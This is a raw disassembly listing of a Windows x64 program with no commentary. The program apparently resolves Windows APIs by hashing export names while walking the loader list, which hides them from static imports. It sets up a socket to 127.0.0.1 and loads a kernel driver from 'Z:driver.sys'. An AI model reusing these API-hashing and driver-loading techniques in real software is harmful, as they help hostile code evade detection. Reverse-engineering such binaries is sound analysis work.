mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001a636
cmp rsi, rcx
jb 0x14001a671
mov r8d, 0x2bf7cf4a
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x30]
mov r9d, 0x20b
mov r10d, 0x5a4d
test rsi, rsi
jne 0x14001a70e
mov rcx, qword [rcx]
mov qword [rsp + 0x40], rcx
cmp rcx, rdx
je 0x14001e443
jmp 0x14001a510
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001a699
nop dword [rax]
inc rsi
cmp r8b, 0x2e
jne 0x14001a68c
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001a680
movzx r8d, byte [r11]
mov r15d, 0x2bf7cf4a
mov r9d, r15d
mov r10d, r14d
test r8b, r8b
je 0x14001a6fc
nop word [rax + rax]
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001a6b0
mov edx, r9d
lea rcx, [rbp + 0x8ac]
call fcn.14001ef80
mov rsi, rax
mov rcx, qword [rsp + 0x50]
call rsi
nop
mov dword [rbp + 0x8c8], r14d
mov dword [rbp + 0x8cc], r14d
mov byte [rsp + 0x58], 0
lea rdx, [rbp + 0x880]
lea rcx, [rsp + 0x58]
call fcn.14001ecb0
mov rbx, rax
mov edx, 0x76833d7b
lea rcx, [rbp + 0x8ab]
call fcn.140017de0
mov ecx, dword [rax + 4]
mov dword [rbx], ecx
mov dword [rbx + 0x1e], ecx
lea rdx, [0x140034fd8]
lea rcx, [rbx + 8]
call fcn.14001f230
mov r10, qword [rbx + 0x10]
lea rcx, [rbp + 0x8cc]
mov qword [rsp + 0x20], rcx
mov r9d, 0x30
lea r8, [rbp + 0x910]
xor edx, edx
lea rcx, [rdx - 1]
call r10
mov ebx, eax
lea rdx, [0x140034fe0]
lea rcx, [rbp + 0x888]
call fcn.14001eef0
test ebx, ebx
jns 0x14001a7da
mov eax, 1
mov rcx, qword [rbp + 0x1480]
xor rcx, rsp
call fcn.14001f340
lea r11, [rsp + 0x1590]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov eax, dword [rbp + 0x930]
mov dword [rsp + 0x38], eax
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0xc80]
call sub.VCRUNTIME140.dll_memset
nop
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x30], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e41c
cmp qword [rcx + 0x60], 0
je 0x14001a965
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001a965
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001ec7d
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001a87b
cmp dword [rax + 0x8c], 0
jbe 0x14001a965
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001a95c
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001a90b
mov r12d, r8d
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001a8b2
mov r12d, dword [r13 + 0x18]
cmp r8d, 0xcced18d5
je 0x14001a917
inc ebx
cmp ebx, r12d
jae 0x14001a952
jmp 0x14001a88b
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001a952
cmp rsi, rcx
jb 0x14001a96d
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x30]
test rsi, rsi
jne 0x14001aa0e
mov rcx, qword [rcx]
jmp 0x14001a815
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001a999
nop dword [rax]
inc rsi
cmp r8b, 0x2e
jne 0x14001a98c
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001a980
movzx r8d, byte [r11]
mov r15d, 0x2bf7cf4a
mov r9d, r15d
mov r10d, r14d
test r8b, r8b
je 0x14001a9fc
nop word [rax + rax]
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001a9b0
mov edx, r9d
lea rcx, [rbp + 0x8aa]
call fcn.14001ef80
mov rsi, rax
mov ecx, 0x202
lea rdx, [rbp + 0x940]
call rsi
nop
test eax, eax
jne 0x14001ae62
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x30], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e860
cmp qword [rcx + 0x60], 0
je 0x14001ab93
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001ab93
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e839
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001aaa7
cmp dword [rax + 0x8c], 0
jbe 0x14001ab93
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001ab8a
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001ab39
mov r12d, r8d
nop
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001aae0
mov r12d, dword [r13 + 0x18]
cmp r8d, 0xc82b0ec9
je 0x14001ab45
inc ebx
cmp ebx, r12d
jae 0x14001ab80
jmp 0x14001aab7
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001ab80
cmp rsi, rcx
jb 0x14001ab9b
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x30]
test rsi, rsi
jne 0x14001ac2f
mov rcx, qword [rcx]
jmp 0x14001aa41
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001abc0
inc rsi
cmp r8b, 0x2e
jne 0x14001abb3
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001aba7
movzx r8d, byte [r11]
mov r15d, 0x2bf7cf4a
mov r9d, r15d
mov r10d, r14d
test r8b, r8b
je 0x14001ac1d
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001abd1
mov edx, r9d
lea rcx, [rbp + 0x8a9]
call fcn.14001ef80
mov rsi, rax
mov edx, 1
mov ebx, 2
lea r8d, [rdx + 5]
mov ecx, ebx
call rsi
mov qword [rsp + 0x30], rax
cmp rax, 0xffffffffffffffff
jne 0x14001b021
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x30], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e4b8
cmp qword [rcx + 0x60], 0
je 0x14001adc3
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001adc3
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e491
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001acd2
cmp dword [rax + 0x8c], 0
jbe 0x14001adc3
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001adba
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001ad69
mov r12d, r8d
nop dword [rax]
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001ad10
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x10723117
je 0x14001ad75
inc ebx
cmp ebx, r12d
jae 0x14001adb0
jmp 0x14001ace2
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001adb0
cmp rsi, rcx
jb 0x14001adcb
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x30]
test rsi, rsi
jne 0x14001ae5f
mov rcx, qword [rcx]
jmp 0x14001ac6c
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001adf0
inc rsi
cmp r8b, 0x2e
jne 0x14001ade3
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001add7
movzx r8d, byte [r11]
mov r15d, 0x2bf7cf4a
mov r9d, r15d
mov r10d, r14d
test r8b, r8b
je 0x14001ae4d
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001ae01
mov edx, r9d
lea rcx, [rbp + 0x8a8]
call fcn.14001ef80
mov rsi, rax
call rsi
nop
mov edx, dword [rsp + 0x38]
lea rcx, str.current_pid:__d
call fcn.140017d70
lea rdx, str.Z:driver.sys
lea rcx, [rbp + 0x860]
call fcn.14000ef80
nop
lea rax, [rbp + 0x860]
mov qword [rsp + 0x20], rax
mov r9b, 1
movzx r8d, r9b
xor edx, edx
xor ecx, ecx
call fcn.140013610
mov ebx, eax
lea rcx, [rbp + 0x860]
call fcn.14000ef10
test ebx, ebx
je 0x14001e3f5
lea rcx, str.Driver_Loaded_Succes_n
call fcn.140017d70
mov eax, dword [rbp + 0x930]
mov dword [rsp + 0x38], eax
xor edx, edx
mov r8d, 0x400
lea rcx, [rbp + 0x1080]
call sub.VCRUNTIME140.dll_memset
nop
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x30], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001ec56
cmp qword [rcx + 0x60], 0
je 0x14001c8cb
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001c8cb
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001ec2f
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001af65
cmp dword [rax + 0x8c], 0
jbe 0x14001c8cb
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001c8c2
mov ecx, dword [r13 + 0x20]
nop dword [rax]
mov r15d, ebx
lea rax, [rdi + r15*4]
mov r11d, dword [rax + rcx]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001b011
mov r12d, r8d
nop dword [rax]
nop word [rax + rax]
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001afb0
mov r12d, dword [r13 + 0x18]
cmp r8d, 0xcced18d5
je 0x14001c87d
mov ecx, dword [r13 + 0x20]
inc ebx
cmp ebx, r12d
jae 0x14001c8b8
jmp 0x14001af80
mov word [rbp + 0x8f0], bx
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x48], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e812
cmp qword [rcx + 0x60], 0
je 0x14001b194
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001b194
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e7eb
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001b0aa
cmp dword [rax + 0x8c], 0
jbe 0x14001b194
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001b18b
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r9d, r14d
movzx r10d, byte [r11]
test r10b, r10b
je 0x14001b13a
mov r12d, r8d
movsx edx, r10b
sub r10b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r10b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r9 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r9d
test r9d, r9d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r9d
movzx r10d, byte [r9 + r11]
test r10b, r10b
jne 0x14001b0e1
mov r12d, dword [r13 + 0x18]
cmp r8d, 0xf1df53f3
je 0x14001b146
inc ebx
cmp ebx, r12d
jae 0x14001b181
jmp 0x14001b0ba
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001b181
cmp rsi, rcx
jb 0x14001b19c
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rsi, rsi
jne 0x14001b23e
mov rcx, qword [rcx]
jmp 0x14001b044
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001b1c9
nop dword [rax + rax]
inc rsi
cmp r8b, 0x2e
jne 0x14001b1bc
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001b1b0
movzx r8d, byte [r11]
mov r15d, 0x2bf7cf4a
mov r9d, r15d
mov r10d, r14d
test r8b, r8b
je 0x14001b22c
nop word [rax + rax]
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001b1e0
mov edx, r9d
lea rcx, [rbp + 0x8ae]
call fcn.14001ef80
mov rsi, rax
mov ecx, 0x2387
call rsi
nop
mov word [rbp + 0x8f2], ax
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x48], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e7c4
cmp qword [rcx + 0x60], 0
je 0x14001b3c3
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001b3c3
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e79d
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001b2cf
cmp dword [rax + 0x8c], 0
jbe 0x14001b3c3
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001b3ba
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r9d, r14d
movzx r10d, byte [r11]
test r10b, r10b
je 0x14001b369
mov r12d, r8d
nop word [rax + rax]
movsx edx, r10b
sub r10b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r10b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r9 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r9d
test r9d, r9d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r9d
movzx r10d, byte [r9 + r11]
test r10b, r10b
jne 0x14001b310
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x977ff31c
je 0x14001b375
inc ebx
cmp ebx, r12d
jae 0x14001b3b0
jmp 0x14001b2df
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001b3b0
cmp rsi, rcx
jb 0x14001b3cb
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rsi, rsi
jne 0x14001b45f
mov rcx, qword [rcx]
jmp 0x14001b269
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001b3f0
inc rsi
cmp r8b, 0x2e
jne 0x14001b3e3
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001b3d7
movzx r8d, byte [r11]
mov r15d, 0x2bf7cf4a
mov r9d, r15d
mov r10d, r14d
test r8b, r8b
je 0x14001b44d
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001b401
mov edx, r9d
lea rcx, [rbp + 0x8c4]
call fcn.14001ef80
mov rsi, rax
lea r8, [rbp + 0x8f4]
lea rdx, str.127.0.0.1
mov ecx, 2
call rsi
nop
mov rcx, qword gs:[0x60]
test eax, eax
jg 0x14001b8a7
mov rdx, qword [rcx + 0x18]
add rdx, 0x10
mov qword [rsp + 0x48], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e554
cmp qword [rcx + 0x60], 0
je 0x14001b5f3
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001b5f3
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e52d
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001b4ff
cmp dword [rax + 0x8c], 0
jbe 0x14001b5f3
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001b5ea
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r9d, r14d
movzx r10d, byte [r11]
test r10b, r10b
je 0x14001b599
mov r12d, r8d
nop word [rax + rax]
movsx edx, r10b
sub r10b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r10b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r9 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r9d
test r9d, r9d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r9d
movzx r10d, byte [r9 + r11]
test r10b, r10b
jne 0x14001b540
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x7a329ef4
je 0x14001b5a5
inc ebx
cmp ebx, r12d
jae 0x14001b5e0
jmp 0x14001b50f
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001b5e0
cmp rsi, rcx
jb 0x14001b5fb
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rsi, rsi
jne 0x14001b68f
mov rcx, qword [rcx]
jmp 0x14001b499
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001b620
inc rsi
cmp r8b, 0x2e
jne 0x14001b613
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001b607
movzx r8d, byte [r11]
mov r15d, 0x2bf7cf4a
mov r9d, r15d
mov r10d, r14d
test r8b, r8b
je 0x14001b67d
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001b631
mov edx, r9d
lea rcx, [rbp + 0x8af]
call fcn.14001ef80
mov rsi, rax
mov rcx, qword [rsp + 0x30]
call rsi
nop
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x30], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e506
cmp qword [rcx + 0x60], 0
je 0x14001b803
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001b803
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e4df
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001b719
cmp dword [rax + 0x8c], 0
jbe 0x14001b803
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001b7fa
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001b7a9
mov r12d, r8d
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001b750
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x10723117
je 0x14001b7b5
inc ebx
cmp ebx, r12d
jae 0x14001b7f0
jmp 0x14001b729
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001b7f0
cmp rsi, rcx
jb 0x14001b80b
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x30]
test rsi, rsi
jne 0x14001b89f
mov rcx, qword [rcx]
jmp 0x14001b6b3
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001b830
inc rsi
cmp r8b, 0x2e
jne 0x14001b823
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001b817
movzx r8d, byte [r11]
mov r15d, 0x2bf7cf4a
mov r9d, r15d
mov r10d, r14d
test r8b, r8b
je 0x14001b88d
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r15d
xor eax, r15d
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001b841
mov edx, r9d
lea rcx, [rbp + 0x8c3]
call fcn.14001ef80
mov rsi, rax
call rsi
nop
jmp 0x14001ae62
mov rdx, qword [rcx + 0x18]
add rdx, 0x10
mov qword [rsp + 0x48], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e776
cmp qword [rcx + 0x60], 0
je 0x14001ba13
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001ba13
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e74f
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001b920
